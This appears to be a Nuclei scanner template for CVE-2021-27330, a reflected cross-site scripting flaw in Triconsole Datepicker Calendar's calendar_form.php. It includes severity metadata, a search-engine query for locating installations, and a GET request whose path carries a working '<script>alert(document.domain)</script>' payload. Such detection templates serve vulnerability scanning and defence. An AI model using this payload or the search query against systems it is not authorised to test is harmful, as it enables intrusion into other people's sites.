56 lines
1.9 KiB
YAML
56 lines
1.9 KiB
YAML
id: CVE-2021-27330
|
|
|
|
info:
|
|
name: Triconsole Datepicker Calendar <3.77 - Cross-Site Scripting
|
|
author: pikpikcu,daffainfo
|
|
severity: medium
|
|
description: |
|
|
Triconsole Datepicker Calendar before 3.77 contains a cross-site scripting vulnerability in calendar_form.php. Attackers can read authentication cookies that are still active, which can be used to perform further attacks such as reading browser history, directory listings, and file contents.
|
|
remediation: |
|
|
Upgrade to a patched version of Triconsole Datepicker Calendar that properly validates user input to prevent XSS attacks.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/49597
|
|
- http://www.triconsole.com/
|
|
- http://www.triconsole.com/php/calendar_datepicker.php
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-27330
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-27330
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00379
|
|
epss-percentile: 0.69836
|
|
cpe: cpe:2.3:a:triconsole:datepicker_calendar:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: triconsole
|
|
product: datepicker_calendar
|
|
google-query: intitle:TriConsole.com - PHP Calendar Date Picker
|
|
tags: xss,edb,cve,cve2021,triconsole
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/calendar/calendar_form.php/"><script>alert(document.domain)</script>'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '<script>alert(document.domain)</script>'
|
|
- '<title>TriConsole.com - PHP Calendar Date Picker</title>'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a00483046022100c9a6a6708bf0d64ebd14da0090e2e9f8f94392182ee3080c1a8c1066a213349d022100ad390836c93df50d71db37d6927c31e3c2b76e4e8b5985f46065535067f2db42:922c64590222798bb761d5b6d8e72950
|